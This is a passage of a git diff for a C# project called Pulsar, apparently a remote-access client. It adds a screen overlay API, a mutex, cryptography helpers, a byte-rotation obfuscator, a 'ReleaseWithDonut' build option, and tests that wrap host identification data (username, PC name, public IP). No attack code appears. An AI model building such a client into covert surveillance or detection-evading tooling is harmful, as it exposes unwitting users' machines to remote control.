monitor index to register the shader with + /// True if registration succeeded + /// + /// Register a custom shader that implements the ICustomShader interface. + /// Custom shaders allow you to apply custom rendering effects to the overlay. + /// + /// Example: + /// + /// // Create and register a custom shader + /// var shader = new MyCustomShader(); + /// bool success = overlay.RegisterCustomShader(shader); + /// + /// + public bool RegisterCustomShader(ICustomShader shader, int monitorIndex = 0) + { + return QueueDrawingActionWithResult(() => + { + try + { + if (monitorIndex < 0 || monitorIndex >= Screen.AllScreens.Length) + { + monitorIndex = 0; + } + Rectangle bounds = Screen.AllScreens[monitorIndex].Bounds; + ShowDrawingOverlay(monitorIndex, bounds); + if (!_customShaders.ContainsKey(monitorIndex)) + { + _customShaders[monitorIndex] = new Dictionary(); + } + if (_customShaders[monitorIndex].ContainsKey(shader.ShaderId)) + { + _customShaders[monitorIndex][shader.ShaderId].Dispose(); + } + if (!shader.Initialize(_devices[monitorIndex])) + { + Debug.WriteLine($"Failed to initialize custom shader {shader.ShaderId}"); + return false; + } + _customShaders[monitorIndex][shader.ShaderId] = shader; + return true; + } + catch (Exception ex) + { + Debug.WriteLine($"RegisterCustomShader error: {ex.Message}"); + return false; + } + }); + } + /// + /// Unregisters a custom shader + /// + /// The ID of the shader to unregister + /// The monitor index the shader is registered with + /// True if unregistration succeeded + /// + /// Removes a previously registered custom shader and disposes its resources. + /// + /// Example: + /// + /// // Unregister a shader with ID "MyShader" + /// overlay.UnregisterCustomShader("MyShader"); + /// + /// + public bool UnregisterCustomShader(string shaderId, int monitorIndex = 0) + { + return QueueDrawingActionWithResult(() => + { + try + { + if (monitorIndex < 0 || monitorIndex >= Screen.AllScreens.Length) + { + monitorIndex = 0; + } + if (!_customShaders.ContainsKey(monitorIndex) || + !_customShaders[monitorIndex].ContainsKey(shaderId)) + { + return false; + } + _customShaders[monitorIndex][shaderId].Dispose(); + _customShaders[monitorIndex].Remove(shaderId); + return true; + } + catch (Exception ex) + { + Debug.WriteLine($"UnregisterCustomShader error: {ex.Message}"); + return false; + } + }); + } + /// + /// Registers a custom renderable object for rendering with this overlay + /// + /// The custom renderable to register + /// True if registration succeeded + /// + /// Register a custom renderable object that implements the ICustomRenderable interface. + /// This allows you to create your own 3D objects and have them rendered by the overlay. + /// + /// Example: + /// + /// // Create and register a custom 3D object + /// var mySphere = new CustomSphere(1, 0, new Vector3(0, 0, 0), 1.0f); + /// bool success = overlay.RegisterCustomRenderable(mySphere); + /// + /// + public bool RegisterCustomRenderable(ICustomRenderable renderable) + { + return QueueDrawingActionWithResult(() => + { + try + { + int monitorIndex = renderable.MonitorIndex; + if (monitorIndex < 0 || monitorIndex >= Screen.AllScreens.Length) + { + monitorIndex = 0; + } + Rectangle bounds = Screen.AllScreens[monitorIndex].Bounds; + ShowDrawingOverlay(monitorIndex, bounds); + if (!_customRenderables.ContainsKey(monitorIndex)) + { + _customRenderables[monitorIndex] = new Dictionary(); + } + if (_customRenderables[monitorIndex].ContainsKey(renderable.RenderableId)) + { + _customRenderables[monitorIndex][renderable.RenderableId].Dispose(); + } + if (!renderable.Initialize(_devices[monitorIndex])) + { + Debug.WriteLine($"Failed to initialize custom renderable {renderable.RenderableId}"); + return false; + } + _customRenderables[monitorIndex][renderable.RenderableId] = renderable; + _needsUpdate[monitorIndex] = true; + return true; + } + catch (Exception ex) + { + Debug.WriteLine($"RegisterCustomRenderable error: {ex.Message}"); + return false; + } + }); + } + /// + /// Unregisters a custom renderable + /// + /// The ID of the renderable to unregister + /// The monitor index the renderable is registered with + /// True if unregistration succeeded + /// + /// Removes a previously registered custom renderable object and disposes its resources. + /// + /// Example: + /// + /// // Unregister a renderable with ID 1 + /// overlay.UnregisterCustomRenderable(1); + /// + /// + public bool UnregisterCustomRenderable(int renderableId, int monitorIndex = 0) + { + return QueueDrawingActionWithResult(() => + { + try + { + if (monitorIndex < 0 || monitorIndex >= Screen.AllScreens.Length) + { + monitorIndex = 0; + } + if (!_customRenderables.ContainsKey(monitorIndex) || + !_customRenderables[monitorIndex].ContainsKey(renderableId)) + { + return false; + } + _customRenderables[monitorIndex][renderableId].Dispose(); + _customRenderables[monitorIndex].Remove(renderableId); + _needsUpdate[monitorIndex] = true; + return true; + } + catch (Exception ex) + { + Debug.WriteLine($"UnregisterCustomRenderable error: {ex.Message}"); + return false; + } + }); + } + /// + /// Updates a custom renderable to trigger a re-render + /// + /// The ID of the renderable to update + /// The monitor index the renderable is on + /// + /// Marks a custom renderable as needing an update, which will trigger a re-render + /// on the next frame. Call this after modifying properties of your custom renderable + /// to ensure the changes are displayed. + /// + /// Example: + /// + /// // Update position of custom sphere in our code + /// mySphere.Position = new Vector3(100, 100, 0); + /// + /// // Tell the overlay to update the rendering of this object + /// overlay.UpdateCustomRenderable(mySphere.RenderableId); + /// + /// + public void UpdateCustomRenderable(int renderableId, int monitorIndex = 0) + { + QueueDrawingAction(() => + { + try + { + if (monitorIndex < 0 || monitorIndex >= Screen.AllScreens.Length) + { + monitorIndex = 0; + } + if (!_customRenderables.ContainsKey(monitorIndex) || + !_customRenderables[monitorIndex].ContainsKey(renderableId)) + { + return; + } + _customRenderables[monitorIndex][renderableId].NeedsUpdate = true; + _needsUpdate[monitorIndex] = true; + } + catch (Exception ex) + { + Debug.WriteLine($"UpdateCustomRenderable error: {ex.Message}"); + } + }); + } + /// + /// Gets a custom shader by ID + /// + /// The ID of the shader to retrieve + /// The monitor index the shader is registered with + /// The custom shader, or null if not found + /// + /// Retrieves a previously registered custom shader by its ID. + /// + /// Example: + /// + /// // Get a registered shader + /// ICustomShader shader = overlay.GetCustomShader("MyShader"); + /// if (shader != null) + /// { + /// // Use shader... + /// } + /// + /// + public ICustomShader GetCustomShader(string shaderId, int monitorIndex = 0) + { + try + { + if (monitorIndex < 0 || monitorIndex >= Screen.AllScreens.Length) + { + monitorIndex = 0; + } + if (!_customShaders.ContainsKey(monitorIndex) || + !_customShaders[monitorIndex].ContainsKey(shaderId)) + { + return null; + } + return _customShaders[monitorIndex][shaderId]; + } + catch (Exception ex) + { + Debug.WriteLine($"GetCustomShader error: {ex.Message}"); + return null; + } + } + /// + /// Queues a drawing action that returns a result + /// + private T QueueDrawingActionWithResult(Func action) + { + if (action == null) + return default; + ManualResetEvent waitEvent = new ManualResetEvent(false); + T result = default; + Exception exception = null; + QueueDrawingAction(() => + { + try + { + result = action(); + } + catch (Exception ex) + { + exception = ex; + } + finally + { + waitEvent.Set(); + } + }); + waitEvent.WaitOne(); + if (exception != null) + { + Debug.WriteLine($"QueueDrawingActionWithResult error: {exception.Message}"); + } + return result; + } + /// + /// Gets the Direct3D device for a specific monitor + /// + /// The monitor index + /// The Direct3D device, or null if not available + /// + /// Provides access to the Direct3D device for a specific monitor. + /// This is useful for advanced rendering scenarios or when creating + /// custom renderables that need direct access to the device. + /// + /// Example: + /// + /// // Get the device for the primary monitor + /// Device device = overlay.GetDeviceForMonitor(0); + /// if (device != null) + /// { + /// // Use device for advanced DirectX operations + /// } + /// + /// + public Device GetDeviceForMonitor(int monitorIndex = 0) + { + return QueueDrawingActionWithResult(() => + { + try + { + if (monitorIndex < 0 || monitorIndex >= Screen.AllScreens.Length) + { + monitorIndex = 0; + } + if (!_devices.ContainsKey(monitorIndex)) + { + Rectangle bounds = Screen.AllScreens[monitorIndex].Bounds; + ShowDrawingOverlay(monitorIndex, bounds); + } + if (_devices.TryGetValue(monitorIndex, out Device device)) + { + return device; + } + return null; + } + catch (Exception ex) + { + Debug.WriteLine($"GetDeviceForMonitor error: {ex.Message}"); + return null; + } + }); + } + } +} \ No newline at end of file diff --git a/Pulsar.Client/Utilities/SingleInstanceMutex.cs b/Pulsar.Client/Utilities/SingleInstanceMutex.cs new file mode 100644 index 0000000..5091ea7 --- /dev/null +++ b/Pulsar.Client/Utilities/SingleInstanceMutex.cs @@ -0,0 +1,62 @@ +using System; +using System.Threading; + +namespace Pulsar.Client.Utilities +{ + /// + /// A user-wide mutex that ensures that only one instance runs at a time. + /// + public class SingleInstanceMutex : IDisposable + { + /// + /// The mutex used for process synchronization. + /// + private readonly Mutex _appMutex; + + /// + /// Represents if the mutex was created on the system or it already existed. + /// + public bool CreatedNew { get; } + + /// + /// Determines if the instance is disposed and should not be used anymore. + /// + public bool IsDisposed { get; private set; } + + /// + /// Initializes a new instance of using the given mutex name. + /// + /// The name of the mutex. + public SingleInstanceMutex(string name) + { + _appMutex = new Mutex(false, $"Local\\{name}", out var createdNew); + CreatedNew = createdNew; + } + + /// + /// Releases all resources used by this . + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + /// + /// Releases the mutex object. + /// + /// True if called from , false if called from the finalizer. + protected virtual void Dispose(bool disposing) + { + if (IsDisposed) + return; + + if (disposing) + { + _appMutex?.Dispose(); + } + + IsDisposed = true; + } + } +} diff --git a/Pulsar.Client/app.manifest b/Pulsar.Client/app.manifest new file mode 100644 index 0000000..bf4e01a --- /dev/null +++ b/Pulsar.Client/app.manifest @@ -0,0 +1,44 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + true/pm + PerMonitorV2, PerMonitor + true + + + + + + + + \ No newline at end of file diff --git a/Pulsar.Common.Tests/.DS_Store b/Pulsar.Common.Tests/.DS_Store new file mode 100644 index 0000000..9e19c8d Binary files /dev/null and b/Pulsar.Common.Tests/.DS_Store differ diff --git a/Pulsar.Common.Tests/Compression/JpgCompression.Tests.cs b/Pulsar.Common.Tests/Compression/JpgCompression.Tests.cs new file mode 100644 index 0000000..55a3bfe --- /dev/null +++ b/Pulsar.Common.Tests/Compression/JpgCompression.Tests.cs @@ -0,0 +1,24 @@ +using Microsoft.VisualStudio.TestTools.UnitTesting; +using Pulsar.Common.Video.Compression; +using System; +using System.Drawing; + +namespace Pulsar.Common.Tests.Compression +{ + [TestClass] + public class JpgCompressionTests + { + [TestMethod, TestCategory("Compression")] + public void CompressionTest() + { + var quality = Int64.MaxValue; + var jpg = new JpgCompression(quality); + var bitmap = new Bitmap(200, 200); + + var result = jpg.Compress(bitmap); + + Assert.IsNotNull(result); + CollectionAssert.AllItemsAreNotNull(result); + } + } +} diff --git a/Pulsar.Common.Tests/Cryptography/Aes256.Tests.cs b/Pulsar.Common.Tests/Cryptography/Aes256.Tests.cs new file mode 100644 index 0000000..ce02ff6 --- /dev/null +++ b/Pulsar.Common.Tests/Cryptography/Aes256.Tests.cs @@ -0,0 +1,49 @@ +using Microsoft.VisualStudio.TestTools.UnitTesting; +using Pulsar.Common.Cryptography; +using Pulsar.Common.Helpers; +using System.Text; + +namespace Pulsar.Common.Tests.Cryptography +{ + [TestClass] + public class Aes128Tests + { + [TestMethod, TestCategory("Cryptography")] + public void EncryptAndDecryptStringTest() + { + var input = StringHelper.GetRandomString(100); + var password = StringHelper.GetRandomString(50); + + var aes = new Aes256(password); + + var encrypted = aes.Encrypt(input); + + Assert.IsNotNull(encrypted); + Assert.AreNotEqual(encrypted, input); + + var decrypted = aes.Decrypt(encrypted); + + Assert.AreEqual(input, decrypted); + } + + [TestMethod, TestCategory("Cryptography")] + public void EncryptAndDecryptByteArrayTest() + { + var input = StringHelper.GetRandomString(100); + var inputByte = Encoding.UTF8.GetBytes(input); + var password = StringHelper.GetRandomString(50); + + var aes = new Aes256(password); + + var encryptedByte = aes.Encrypt(inputByte); + + Assert.IsNotNull(encryptedByte); + CollectionAssert.AllItemsAreNotNull(encryptedByte); + CollectionAssert.AreNotEqual(encryptedByte, inputByte); + + var decryptedByte = aes.Decrypt(encryptedByte); + + CollectionAssert.AreEqual(inputByte, decryptedByte); + } + } +} diff --git a/Pulsar.Common.Tests/Cryptography/SHA256.Tests.cs b/Pulsar.Common.Tests/Cryptography/SHA256.Tests.cs new file mode 100644 index 0000000..ef7d01f --- /dev/null +++ b/Pulsar.Common.Tests/Cryptography/SHA256.Tests.cs @@ -0,0 +1,20 @@ +using Microsoft.VisualStudio.TestTools.UnitTesting; +using Pulsar.Common.Cryptography; +using Pulsar.Common.Helpers; + +namespace Pulsar.Common.Tests.Cryptography +{ + [TestClass] + public class Sha256Tests + { + [TestMethod, TestCategory("Cryptography")] + public void ComputeHashTest() + { + var input = StringHelper.GetRandomString(100); + var result = Sha256.ComputeHash(input); + + Assert.IsNotNull(result); + Assert.AreNotEqual(result, input); + } + } +} diff --git a/Pulsar.Common.Tests/Helpers/FileHelper.Tests.cs b/Pulsar.Common.Tests/Helpers/FileHelper.Tests.cs new file mode 100644 index 0000000..9b6f1d0 --- /dev/null +++ b/Pulsar.Common.Tests/Helpers/FileHelper.Tests.cs @@ -0,0 +1,35 @@ +using Microsoft.VisualStudio.TestTools.UnitTesting; +using Pulsar.Common.Helpers; + +namespace Pulsar.Common.Tests.Helpers +{ + [TestClass] + public class FileHelperTests + { + [TestMethod, TestCategory("Helpers")] + public void RandomFilenameTest() + { + int length = 100; + var name = FileHelper.GetRandomFilename(length); + + Assert.IsNotNull(name); + Assert.IsTrue(name.Length == length); + } + + [TestMethod, TestCategory("Helpers")] + public void ValidateExecutableTest() + { + var bytes = new byte[] { 77, 90 }; + + Assert.IsTrue(FileHelper.HasExecutableIdentifier(bytes)); + } + + [TestMethod, TestCategory("Helpers")] + public void ValidateExecutableTest2() + { + var bytes = new byte[] { 22, 93 }; + + Assert.IsFalse(FileHelper.HasExecutableIdentifier(bytes)); + } + } +} diff --git a/Pulsar.Common.Tests/Networking/SecureMessageEnvelopeTests.cs b/Pulsar.Common.Tests/Networking/SecureMessageEnvelopeTests.cs new file mode 100644 index 0000000..f7c7e43 --- /dev/null +++ b/Pulsar.Common.Tests/Networking/SecureMessageEnvelopeTests.cs @@ -0,0 +1,54 @@ +using Microsoft.VisualStudio.TestTools.UnitTesting; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Networking; +using System; +using System.Security.Cryptography; +using System.Security.Cryptography.X509Certificates; + +namespace Pulsar.Common.Tests.Networking +{ + [TestClass] + public class SecureMessageEnvelopeTests + { + [TestMethod] + public void WrapAndUnwrap_RoundTrip_ReturnsOriginalMessage() + { + using (var rsa = RSA.Create(2048)) + { + var request = new CertificateRequest("CN=SecureMessageEnvelopeTests", rsa, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1); + using (var certificate = request.CreateSelfSigned(DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(30))) + { + var original = new ClientIdentification + { + Version = "1.0", + OperatingSystem = "Windows", + AccountType = "Admin", + Country = "Wonderland", + CountryCode = "WL", + ImageIndex = 3, + Id = new string('A', 64), + Username = "tester", + PcName = "test-pc", + Tag = "tag", + EncryptionKey = "key", + Signature = new byte[] { 0x01, 0x02, 0x03 }, + PublicIP = "127.0.0.1" + }; + + var envelope = SecureMessageEnvelopeHelper.Wrap(original, certificate); + + Assert.IsNotNull(envelope); + Assert.IsNotNull(envelope.Payload); + Assert.AreNotEqual(0, envelope.Payload.Length); + + var roundTrip = SecureMessageEnvelopeHelper.Unwrap(envelope, certificate) as ClientIdentification; + + Assert.IsNotNull(roundTrip); + Assert.AreEqual(original.Username, roundTrip.Username); + Assert.AreEqual(original.Id, roundTrip.Id); + Assert.AreEqual(original.PublicIP, roundTrip.PublicIP); + } + } + } + } +} diff --git a/Pulsar.Common.Tests/Properties/AssemblyInfo.cs b/Pulsar.Common.Tests/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..c76cba0 --- /dev/null +++ b/Pulsar.Common.Tests/Properties/AssemblyInfo.cs @@ -0,0 +1,19 @@ +using System.Reflection; +using System.Runtime.InteropServices; + +[assembly: AssemblyTitle("Pulsar Common Tests")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("Pulsar")] +[assembly: AssemblyCopyright("Copyright © PulsarTeam 2025")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +[assembly: ComVisible(false)] + +[assembly: Guid("cfda6d2e-8ab3-4349-b89a-33e1f0dab32b")] + +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("2.4.5")] +[assembly: AssemblyFileVersion("2.4.5")] diff --git a/Pulsar.Common.Tests/Pulsar.Common.Tests.csproj b/Pulsar.Common.Tests/Pulsar.Common.Tests.csproj new file mode 100644 index 0000000..b5a55a8 --- /dev/null +++ b/Pulsar.Common.Tests/Pulsar.Common.Tests.csproj @@ -0,0 +1,30 @@ + + + net48 + false + Debug;Release;ReleaseWithDonut + + + ..\bin\Debug\ + + + ..\bin\Release\ + none + false + + + ..\bin\Release\ + none + false + + + + + + + + + + + + \ No newline at end of file diff --git a/Pulsar.Common/.DS_Store b/Pulsar.Common/.DS_Store new file mode 100644 index 0000000..0619d08 Binary files /dev/null and b/Pulsar.Common/.DS_Store differ diff --git a/Pulsar.Common/Cryptography/.DS_Store b/Pulsar.Common/Cryptography/.DS_Store new file mode 100644 index 0000000..5008ddf Binary files /dev/null and b/Pulsar.Common/Cryptography/.DS_Store differ diff --git a/Pulsar.Common/Cryptography/AesGcmCng.cs b/Pulsar.Common/Cryptography/AesGcmCng.cs new file mode 100644 index 0000000..9887c88 --- /dev/null +++ b/Pulsar.Common/Cryptography/AesGcmCng.cs @@ -0,0 +1,341 @@ +#if NETFRAMEWORK +using System; +using System.Runtime.InteropServices; +using System.Security.Cryptography; +using System.Text; +using Microsoft.Win32.SafeHandles; + +namespace Pulsar.Common.Cryptography +{ + internal static class AesGcmCng + { + private const uint ERROR_SUCCESS = 0x00000000; + private const uint STATUS_AUTH_TAG_MISMATCH = 0xC000A002; + + private const string BCRYPT_AES_ALGORITHM = "AES"; + private const string MS_PRIMITIVE_PROVIDER = "Microsoft Primitive Provider"; + private const string BCRYPT_CHAINING_MODE = "ChainingMode"; + private const string BCRYPT_CHAIN_MODE_GCM = "ChainingModeGCM"; + private const string BCRYPT_OBJECT_LENGTH = "ObjectLength"; + private const string BCRYPT_KEY_DATA_BLOB = "KeyDataBlob"; + + private static readonly byte[] KeyBlobMagic = BitConverter.GetBytes(0x4d42444b); // "KDBM" + + internal static void Encrypt(byte[] key, byte[] nonce, byte[] plaintext, byte[] ciphertext, byte[] tag) + { + if (key == null) throw new ArgumentNullException(nameof(key)); + if (nonce == null) throw new ArgumentNullException(nameof(nonce)); + if (plaintext == null) throw new ArgumentNullException(nameof(plaintext)); + if (ciphertext == null) throw new ArgumentNullException(nameof(ciphertext)); + if (tag == null) throw new ArgumentNullException(nameof(tag)); + + if (ciphertext.Length != plaintext.Length) + { + throw new CryptographicException("Ciphertext buffer length must match plaintext length."); + } + + using (SafeAlgorithmHandle algorithm = OpenAlgorithm()) + using (SafeKeyHandle keyHandle = ImportKey(algorithm, key)) + { + byte[] output = new byte[ciphertext.Length]; + byte[] tagBuffer = new byte[tag.Length]; + AuthInfo authInfo = new AuthInfo(nonce, null, tagBuffer); + + try + { + byte[] ivBuffer = (byte[])nonce.Clone(); + int result = 0; + uint status = BCryptEncrypt(keyHandle.DangerousGetHandle(), plaintext, plaintext.Length, ref authInfo.Info, ivBuffer, ivBuffer.Length, output, output.Length, ref result, 0); + + if (status != ERROR_SUCCESS) + { + throw new CryptographicException(string.Format("BCryptEncrypt failed with status code 0x{0:X8}.", status)); + } + + if (result != ciphertext.Length) + { + throw new CryptographicException("Ciphertext length mismatch during encryption."); + } + + Buffer.BlockCopy(output, 0, ciphertext, 0, result); + authInfo.CopyTag(tag); + } + finally + { + authInfo.Dispose(); + } + } + } + + internal static void Decrypt(byte[] key, byte[] nonce, byte[] ciphertext, byte[] tag, byte[] plaintext) + { + if (key == null) throw new ArgumentNullException(nameof(key)); + if (nonce == null) throw new ArgumentNullException(nameof(nonce)); + if (ciphertext == null) throw new ArgumentNullException(nameof(ciphertext)); + if (tag == null) throw new ArgumentNullException(nameof(tag)); + if (plaintext == null) throw new ArgumentNullException(nameof(plaintext)); + + if (ciphertext.Length != plaintext.Length) + { + throw new CryptographicException("Plaintext buffer length must match ciphertext length."); + } + + using (SafeAlgorithmHandle algorithm = OpenAlgorithm()) + using (SafeKeyHandle keyHandle = ImportKey(algorithm, key)) + { + byte[] output = new byte[plaintext.Length]; + AuthInfo authInfo = new AuthInfo(nonce, null, tag); + + try + { + byte[] ivBuffer = (byte[])nonce.Clone(); + int result = 0; + uint status = BCryptDecrypt(keyHandle.DangerousGetHandle(), ciphertext, ciphertext.Length, ref authInfo.Info, ivBuffer, ivBuffer.Length, output, output.Length, ref result, 0); + + if (status == STATUS_AUTH_TAG_MISMATCH) + { + throw new CryptographicException("Authentication tag mismatch during decryption."); + } + + if (status != ERROR_SUCCESS) + { + throw new CryptographicException(string.Format("BCryptDecrypt failed with status code 0x{0:X8}.", status)); + } + + if (result != plaintext.Length) + { + throw new CryptographicException("Plaintext length mismatch during decryption."); + } + + Buffer.BlockCopy(output, 0, plaintext, 0, result); + } + finally + { + authInfo.Dispose(); + } + } + } + + private static SafeAlgorithmHandle OpenAlgorithm() + { + IntPtr rawHandle; + uint status = BCryptOpenAlgorithmProvider(out rawHandle, BCRYPT_AES_ALGORITHM, MS_PRIMITIVE_PROVIDER, 0); + if (status != ERROR_SUCCESS) + { + throw new CryptographicException(string.Format("BCryptOpenAlgorithmProvider failed with status code 0x{0:X8}.", status)); + } + + SafeAlgorithmHandle handle = new SafeAlgorithmHandle(rawHandle); + try + { + byte[] chainMode = Encoding.Unicode.GetBytes(BCRYPT_CHAIN_MODE_GCM); + status = BCryptSetAlgorithmProperty(handle.DangerousGetHandle(), BCRYPT_CHAINING_MODE, chainMode, chainMode.Length, 0); + if (status != ERROR_SUCCESS) + { + throw new CryptographicException(string.Format("BCryptSetAlgorithmProperty failed with status code 0x{0:X8}.", status)); + } + + return handle; + } + catch + { + handle.Dispose(); + throw; + } + } + + private static SafeKeyHandle ImportKey(SafeAlgorithmHandle algorithm, byte[] key) + { + byte[] objectLength = GetAlgorithmProperty(algorithm.DangerousGetHandle(), BCRYPT_OBJECT_LENGTH); + int keyObjectSize = BitConverter.ToInt32(objectLength, 0); + IntPtr keyObject = Marshal.AllocHGlobal(keyObjectSize); + + try + { + byte[] blob = BuildKeyBlob(key); + IntPtr rawKey; + uint status = BCryptImportKey(algorithm.DangerousGetHandle(), IntPtr.Zero, BCRYPT_KEY_DATA_BLOB, out rawKey, keyObject, keyObjectSize, blob, blob.Length, 0); + if (status != ERROR_SUCCESS) + { + throw new CryptographicException(string.Format("BCryptImportKey failed with status code 0x{0:X8}.", status)); + } + + return new SafeKeyHandle(rawKey, keyObject); + } + catch + { + Marshal.FreeHGlobal(keyObject); + throw; + } + } + + private static byte[] GetAlgorithmProperty(IntPtr handle, string property) + { + int size = 0; + uint status = BCryptGetProperty(handle, property, null, 0, ref size, 0); + if (status != ERROR_SUCCESS) + { + throw new CryptographicException(string.Format("BCryptGetProperty (query size) failed with status code 0x{0:X8}.", status)); + } + + byte[] buffer = new byte[size]; + status = BCryptGetProperty(handle, property, buffer, buffer.Length, ref size, 0); + if (status != ERROR_SUCCESS) + { + throw new CryptographicException(string.Format("BCryptGetProperty failed with status code 0x{0:X8}.", status)); + } + + return buffer; + } + + private static byte[] BuildKeyBlob(byte[] key) + { + byte[] blob = new byte[KeyBlobMagic.Length + sizeof(int) + sizeof(int) + key.Length]; + Buffer.BlockCopy(KeyBlobMagic, 0, blob, 0, KeyBlobMagic.Length); + Buffer.BlockCopy(BitConverter.GetBytes(1), 0, blob, KeyBlobMagic.Length, sizeof(int)); + Buffer.BlockCopy(BitConverter.GetBytes(key.Length), 0, blob, KeyBlobMagic.Length + sizeof(int), sizeof(int)); + Buffer.BlockCopy(key, 0, blob, KeyBlobMagic.Length + (sizeof(int) * 2), key.Length); + return blob; + } + + private sealed class AuthInfo : IDisposable + { + internal BCryptAuthenticatedCipherModeInfo Info; + private GCHandle _nonceHandle; + private GCHandle _aadHandle; + private GCHandle _tagHandle; + private GCHandle _macHandle; + private byte[] _tagBuffer; + + internal AuthInfo(byte[] nonce, byte[] aad, byte[] tag) + { + Info = new BCryptAuthenticatedCipherModeInfo(); + Info.cbSize = Marshal.SizeOf(typeof(BCryptAuthenticatedCipherModeInfo)); + Info.dwInfoVersion = 1; + + if (nonce != null && nonce.Length > 0) + { + byte[] nonceCopy = (byte[])nonce.Clone(); + _nonceHandle = GCHandle.Alloc(nonceCopy, GCHandleType.Pinned); + Info.pbNonce = _nonceHandle.AddrOfPinnedObject(); + Info.cbNonce = nonceCopy.Length; + } + + if (aad != null && aad.Length > 0) + { + byte[] aadCopy = (byte[])aad.Clone(); + _aadHandle = GCHandle.Alloc(aadCopy, GCHandleType.Pinned); + Info.pbAuthData = _aadHandle.AddrOfPinnedObject(); + Info.cbAuthData = aadCopy.Length; + Info.cbAAD = aadCopy.Length; + } + + if (tag != null && tag.Length > 0) + { + _tagBuffer = (byte[])tag.Clone(); + _tagHandle = GCHandle.Alloc(_tagBuffer, GCHandleType.Pinned); + Info.pbTag = _tagHandle.AddrOfPinnedObject(); + Info.cbTag = _tagBuffer.Length; + + byte[] mac = new byte[_tagBuffer.Length]; + _macHandle = GCHandle.Alloc(mac, GCHandleType.Pinned); + Info.pbMacContext = _macHandle.AddrOfPinnedObject(); + Info.cbMacContext = mac.Length; + } + } + + internal void CopyTag(byte[] destination) + { + if (_tagBuffer != null && destination != null) + { + Buffer.BlockCopy(_tagBuffer, 0, destination, 0, Math.Min(_tagBuffer.Length, destination.Length)); + } + } + + public void Dispose() + { + if (_macHandle.IsAllocated) _macHandle.Free(); + if (_tagHandle.IsAllocated) _tagHandle.Free(); + if (_aadHandle.IsAllocated) _aadHandle.Free(); + if (_nonceHandle.IsAllocated) _nonceHandle.Free(); + } + } + + [StructLayout(LayoutKind.Sequential)] + private struct BCryptAuthenticatedCipherModeInfo + { + internal int cbSize; + internal int dwInfoVersion; + internal IntPtr pbNonce; + internal int cbNonce; + internal IntPtr pbAuthData; + internal int cbAuthData; + internal IntPtr pbTag; + internal int cbTag; + internal IntPtr pbMacContext; + internal int cbMacContext; + internal int cbAAD; + internal long cbData; + internal int dwFlags; + } + + private sealed class SafeAlgorithmHandle : SafeHandleZeroOrMinusOneIsInvalid + { + internal SafeAlgorithmHandle(IntPtr handle) : base(true) + { + SetHandle(handle); + } + + protected override bool ReleaseHandle() + { + return BCryptCloseAlgorithmProvider(handle, 0) == ERROR_SUCCESS; + } + } + + private sealed class SafeKeyHandle : SafeHandleZeroOrMinusOneIsInvalid + { + private readonly IntPtr _keyObject; + + internal SafeKeyHandle(IntPtr handle, IntPtr keyObject) : base(true) + { + SetHandle(handle); + _keyObject = keyObject; + } + + protected override bool ReleaseHandle() + { + if (_keyObject != IntPtr.Zero) + { + Marshal.FreeHGlobal(_keyObject); + } + + return BCryptDestroyKey(handle) == ERROR_SUCCESS; + } + } + + [DllImport("bcrypt.dll")] + private static extern uint BCryptOpenAlgorithmProvider(out IntPtr phAlgorithm, [MarshalAs(UnmanagedType.LPWStr)] string pszAlgId, [MarshalAs(UnmanagedType.LPWStr)] string pszImplementation, uint dwFlags); + + [DllImport("bcrypt.dll")] + private static extern uint BCryptCloseAlgorithmProvider(IntPtr hAlgorithm, uint flags); + + [DllImport("bcrypt.dll", EntryPoint = "BCryptGetProperty")] + private static extern uint BCryptGetProperty(IntPtr hObject, [MarshalAs(UnmanagedType.LPWStr)] string pszProperty, byte[] pbOutput, int cbOutput, ref int pcbResult, uint flags); + + [DllImport("bcrypt.dll", EntryPoint = "BCryptSetProperty")] + private static extern uint BCryptSetAlgorithmProperty(IntPtr hObject, [MarshalAs(UnmanagedType.LPWStr)] string pszProperty, byte[] pbInput, int cbInput, int dwFlags); + + [DllImport("bcrypt.dll")] + private static extern uint BCryptImportKey(IntPtr hAlgorithm, IntPtr hImportKey, [MarshalAs(UnmanagedType.LPWStr)] string pszBlobType, out IntPtr phKey, IntPtr pbKeyObject, int cbKeyObject, byte[] pbInput, int cbInput, uint dwFlags); + + [DllImport("bcrypt.dll")] + private static extern uint BCryptDestroyKey(IntPtr hKey); + + [DllImport("bcrypt.dll")] + private static extern uint BCryptEncrypt(IntPtr hKey, byte[] pbInput, int cbInput, ref BCryptAuthenticatedCipherModeInfo pPaddingInfo, byte[] pbIV, int cbIV, byte[] pbOutput, int cbOutput, ref int pcbResult, uint dwFlags); + + [DllImport("bcrypt.dll")] + private static extern uint BCryptDecrypt(IntPtr hKey, byte[] pbInput, int cbInput, ref BCryptAuthenticatedCipherModeInfo pPaddingInfo, byte[] pbIV, int cbIV, byte[] pbOutput, int cbOutput, ref int pcbResult, uint dwFlags); + } +} +#endif diff --git a/Pulsar.Common/Cryptography/ByteRotationObfuscator.cs b/Pulsar.Common/Cryptography/ByteRotationObfuscator.cs new file mode 100644 index 0000000..27a3625 --- /dev/null +++ b/Pulsar.Common/Cryptography/ByteRotationObfuscator.cs @@ -0,0 +1,85 @@ +using System; +using System.Diagnostics; + +namespace Pulsar.Common.Cryptography +{ + /// + /// Provides byte rotation obfuscation methods for simple data protection. + /// + public static class ByteRotationObfuscator + { + /// + /// The rotation amount used for obfuscation. + /// + private const int ROTATION_AMOUNT = 16; + + /// + /// Obfuscates data by rotating each byte by a fixed amount with overflow wrapping. + /// + /// The data to obfuscate. + /// The obfuscated data. + public static byte[] Obfuscate(byte[] data) + { + if (data == null) + { + Debug.WriteLine("Failed to Obfuscate. Data is null."); + return data; + } + + + byte[] result = new byte[data.Length]; + for (int i = 0; i < data.Length; i++) + { + result[i] = RotateByte(data[i], ROTATION_AMOUNT); + } + return result; + } + + /// + /// Deobfuscates data by rotating each byte back by the fixed amount with overflow wrapping. + /// + /// The obfuscated data to deobfuscate. + /// The original data. + public static byte[] Deobfuscate(byte[] data) + { + if (data == null) + { + Debug.WriteLine("Failed to Deobfuscate. Data is null."); + return data; + } + + 